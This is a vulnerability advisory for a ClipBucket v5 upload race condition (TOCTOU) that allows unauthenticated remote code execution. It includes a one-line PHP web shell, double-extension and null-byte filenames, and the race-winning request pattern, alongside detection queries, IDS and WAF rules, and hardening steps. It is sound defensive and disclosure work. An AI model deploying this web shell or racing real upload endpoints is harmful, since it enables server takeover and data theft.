ClipBucket v5 – TOCTOU Race Condition → Remote Code Execution (RCE)

CVE ID: CVE-2026-25728
Affected Product: ClipBucket v5 (prior to 5.5.3 – #40)
Vulnerability Type: Time-of-Check-Time-of-Use (TOCTOU) Race Condition
Impact: Remote Code Execution (Unauthenticated)
CVSS Score: 9.3 (Critical)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Exploit Availability: No widely weaponized exploit kit observed publicly, but exploitation is technically straightforward
Patch Version: 5.5.3 – #40
Official Patch / Upgrade Link:
https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-xq7c-m5r2-9wqj

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Executive Summary

In vulnerable versions of ClipBucket v5, file uploads related to user avatars and background images were processed in an unsafe sequence. Uploaded files were moved into a web-accessible directory before content validation completed. During this small time window, the file could be accessed directly via HTTP.

If a malicious PHP payload was uploaded and requested immediately after placement but before deletion, arbitrary PHP code could be executed on the server.

This resulted in unauthenticated remote code execution.

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Technical Root Cause

The vulnerability was introduced due to improper ordering of operations in the upload workflow:

1. File was received via multipart/form-data.
2. move_uploaded_file() placed the file into a public web directory.
3. Image validation function was executed afterward.
4. If validation failed, the file was deleted using unlink().

This created a race window between file placement and validation.

If an attacker sent:

• A malicious PHP file disguised as an image, and
• A rapid follow-up HTTP request to execute the file

the server could process and execute the PHP before it was removed.

This is a classic TOCTOU (Time-of-Check-Time-of-Use) vulnerability.

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Affected Components

• Avatar upload functionality
• Background image upload functionality
• Any upload endpoint placing files inside webroot prior to validation

Typically affected directories:

/avatars/
/backgrounds/
/upload/

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Attack Scenario

The following attack chain was possible:

1. Malicious file uploaded: shell.php avatar.jpg.php avatar.php%00.jpg
2. File temporarily stored inside: /avatars/username.php
3. Attacker repeatedly requested: https://target-site.com/avatars/username.php?cmd=id
4. If the request hit during the validation race window, the PHP interpreter executed the payload.
5. Full remote command execution was achieved.

No authentication was required if the upload endpoint was exposed publicly.

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Proof of Concept (Educational)

The following example demonstrates the concept for defensive testing in lab environments only.

Step 1: Malicious Payload

<?php system($_GET['cmd']); ?>

Saved as:

avatar.php

Step 2: Upload via HTTP POST

POST /upload_avatar HTTP/1.1
Content-Type: multipart/form-data

Step 3: Immediate Execution Attempt

GET /avatars/avatar.php?cmd=whoami

Rapid repeated requests increase likelihood of winning the race condition.

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Impact

If exploited successfully:

• Arbitrary command execution
• Webshell deployment
• Database credential extraction
• Full application takeover
• Potential server compromise
• Lateral movement inside network
• Persistent backdoor installation

If the web server runs with elevated permissions, system-level compromise may occur.

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MITRE ATT&CK Mapping

Tactic	Technique	ID
Initial Access	Exploit Public-Facing Application	T1190
Execution	Command and Scripting Interpreter (PHP)	T1059
Persistence	Web Shell	T1505.003
Privilege Escalation	Abuse of Service Account	T1068
Defense Evasion	Obfuscated/Disguised File	T1027
Lateral Movement	Remote Services	T1021

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Exploitation Indicators

Indicators observed during exploitation attempts include:

• POST request to upload endpoint followed immediately by GET request to same file
• Double extensions (.jpg.php)
• Multipart uploads containing <?php
• Access to upload directories with .php
• High-frequency repeated requests after upload
• Unexpected 200 responses for files in avatar/background directory

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Log Sources Required for Detection

• Apache access logs
• Nginx access logs
• PHP-FPM logs
• Application logs
• WAF logs
• EDR file creation monitoring
• Linux auditd logs
• SIEM correlation logs

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Detection Queries

Apache Log Detection (grep)

Detect execution attempts in upload directories:

grep -E "GET .*\/(avatars|backgrounds)\/.*\.php" access.log

Detect upload followed by execution attempt from same IP:

grep "POST /upload" access.log | awk '{print $1}' | sort | uniq -c

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ELK / Elasticsearch Query

Detect upload followed by execution:

http.request.method:"POST" AND url.path:(/avatar* OR /background*)

Correlated with:

http.request.method:"GET" AND url.path:/avatars/*.php

Time window:

within 1 minute

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Splunk Query

index=web_logs 
(Method=POST AND uri_path="/upload_avatar") 
OR 
(Method=GET AND uri_path="/avatars/*.php")
| transaction clientip maxspan=60s

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Suricata IDS Rule

alert http any any -> any any (msg:"Possible ClipBucket TOCTOU Exploit Attempt"; flow:established,to_server; http.uri; content:"/avatars/"; pcre:"/\.php(\?|$)/"; sid:10025728; rev:1;)

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ModSecurity WAF Rule

SecRule REQUEST_URI "@rx /(avatar|background|upload)/" "phase:2,deny,status:403,msg:'Blocked suspicious upload attempt'"
SecRule FILES_TMP_CONTENT "@rx <\?php" "deny,status:403,msg:'PHP payload in upload detected'"

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File System Monitoring

Monitor real-time file creation: inotifywait -m /var/www/html/avatars

Linux audit rule: auditctl -w /var/www/html/avatars -p wa

Look for:

• Creation of .php
• Modification timestamps matching suspicious POSTs

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Post-Exploitation Indicators

• Unknown PHP files in upload directory
• Cron jobs created unexpectedly
• Reverse shells
• New admin accounts
• Database dumps
• Modified application files
• Outbound network connections from web server

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Defensive Hardening Recommendations

Even after patching:

1. Disable PHP execution in upload directories
2. Move uploads outside webroot
3. Enforce strict MIME validation
4. Block double extensions
5. Implement WAF content inspection
6. Use least privilege file permissions
7. Enable file integrity monitoring

Example Apache protection:

<Directory "/var/www/html/avatars">
    php_admin_flag engine off
</Directory>

Example Nginx protection:

location ~* ^/(avatars|backgrounds)/.*\.php$ {
    deny all;
}

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Remediation

Immediate upgrade to: ClipBucket 5.5.3 – #40

Official security advisory and patch:
https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-xq7c-m5r2-9wqj

All earlier versions should be considered vulnerable.

After upgrade:

• Verify upload logic changes
• Remove any suspicious files
• Rotate credentials
• Review logs for historical exploitation

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Final Takeaway

This vulnerability should be treated as critical because:

• No authentication required
• Remote exploitation possible
• Leads to full server compromise
• Easy to weaponize
• Difficult to detect without correlation rules

Organizations running publicly accessible ClipBucket instances should prioritize patching immediately.